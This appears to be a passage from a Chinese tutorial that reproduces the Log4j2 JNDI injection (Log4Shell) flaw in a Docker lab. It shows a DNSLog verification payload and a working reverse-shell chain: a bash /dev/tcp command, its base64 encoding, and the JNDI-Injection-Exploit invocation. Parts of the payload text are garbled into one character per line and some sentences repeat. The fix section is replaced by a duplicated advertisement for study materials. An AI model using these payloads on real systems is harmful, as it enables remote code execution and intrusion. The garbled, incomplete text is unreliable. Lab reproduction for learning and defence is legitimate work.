- 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
- 假如日志中含有该语句${jndi:ldap:X.X.X.X:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:X.X.X.X:1099/shell
- 解析到ldap,就会去X.X.X.X:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
- 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
- 攻击者就可以通过shell实现任意的命令执行,造成严重危害
2.3 漏洞复现
2.3.1 使用docker搭建复现环境
使用vulfocus提供的镜像容器对靶场进行搭建:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
浏览器访问http://192.168.71.128,部署成功
2.3.2 DNSLog验证
首先对网页进行抓包,看是否存在注入点,配置好端口后进行抓包。可以看到数据包内容如下:
注入位置在/hello目录下的一个payload位置,并且是get提交的数据,直接访问问号并抓包,就可以在改payload位置注入exp。
DNSLog在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
将其发送到Repeater进行修改重放,通过DNSLog平台https://dig.pm获取到域名949cc308.ipv6.1433.eu.org.
构造payload:
j
n
d
i
:
l
d
a
p
:
/
/
949
c
c
i
p
v
6.1433.
e
u
.
o
r
g
,浏览器点击
?
?
?
?
?
并使用
B
u
r
p
s
u
i
t
e
进行抓包并替换
p
a
y
l
o
a
d
参数。其中
{jndi:ldap://949cc308.ipv6.1433.eu.org},浏览器点击???并使用Burpsuite进行抓包并替换payload参数。其中
jndi:ldap://949cc308.ipv6.1433.eu.org,浏览器点击???并使用Burpsuite进行抓包并替换payload参数。其中{jndi:ldap://XXX}是jndi注入,XXX是一个域名,其中本实验中是我们申请的免费域名。
此时若直接发包会导致服务器400错误:
通过Burpsuite自带的编码工具对其进行URL编码:
编码后再次发送请求包,此时请求成功:
在DNSLog网站成功接收到解析记录:
2.3.3 JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,下载地址https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0。这是一个JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可以用于Fastjson、Jackson等相关漏洞利用。
根据工具说明,采用如下命令对其进行利用:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中[-C] [command]为反弹shell指令,此处kali的ip为192.168.71.128,port可使用任意未被占用的端口,故任意指定为4444:
bash -i >& /dev/tcp/192.168.71.128/4444 0>&1
将此条命令进行Base 64编码,使用的是BurpSuite的Decoder模块,得到加密后的:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=
随后将加密后的shell命令通过-C参数输入JNDI工具,通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.71.128
开启新的窗口监听4444端口
替换工具生成的payload:rmi://192.168.71.128:1099/mrflzc 到Burpsuite,其中生成的链接后面的codebaseClass是6位随机的,因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTPserver返回相应class,更自动化了。HTTP server基于jetty实现的,本质上是一个能下载文件的servlet,比较有意思的是我提前编译好class模板放到resource目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码:
仍然注意要将payload进行编码:
可以看到Kali监听端成功获取到相关信息:
2.4 漏洞修复
先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
需要这份系统化资料的朋友,可以点击这里获取
外链图片转存中…(img-uVeyC4m7-1714817855826)]
[外链图片转存中…(img-AyGjQGCq-1714817855827)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新